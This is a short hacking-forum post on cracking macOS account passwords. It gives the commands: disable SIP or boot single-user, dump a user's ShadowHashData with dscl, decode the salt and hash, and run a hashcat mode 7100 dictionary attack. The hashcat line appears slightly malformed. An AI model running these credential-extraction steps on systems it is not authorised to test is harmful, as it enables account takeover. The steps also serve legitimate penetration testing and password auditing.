Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Cracking macOS Passwords

Extracting password hashes on Linux or Windows is considered Hacking 101. Cracking macOS passwords, however, is trickier and discussed much less, so I felt the opportunity to do that here.

The first roadblock is Apple's System Integrity Protection (SIP). You will need to either disable it with 'csrutil disable', or, if FileVault 2 is not enabled, reboot in single-user needed. Another way is to use dscl.


Code
sudo dscl . -read /Users/Bob/ dsAttrTypeNative:ShadowHashData | tail -n 1 | tr -dc '0-9a-f ' | xxd -p -r | plutil -convert xml1 - -o -

Grab the data of the hash and salt and convert the string from base64 to hex.

Code
<hash> | base64 -D  | xxd -p

Lastly, crack the hash with hashcat mode 7100.

Code
hashcat -m 7100 hash.txt -a 0 <hash> wordlist.txt

Source: https://embracethered.com/blog/posts/202...os-hashes/

#XmasOrnament2024


Possibly Related Threads...
Thread / Author Replies Views Last Post
by whitepearlNov 4, 2023 06:02 AM 0 114 Nov 4, 2023 06:02 AM
Last Post: whitepearl
by isaiNov 3, 2021 02:20 PM 0 159 Nov 3, 2021 02:20 PM
Last Post: isai
by IPIKINMay 20, 2020 01:33 AM 0 159 May 20, 2020 01:33 AM
Last Post: IPIKIN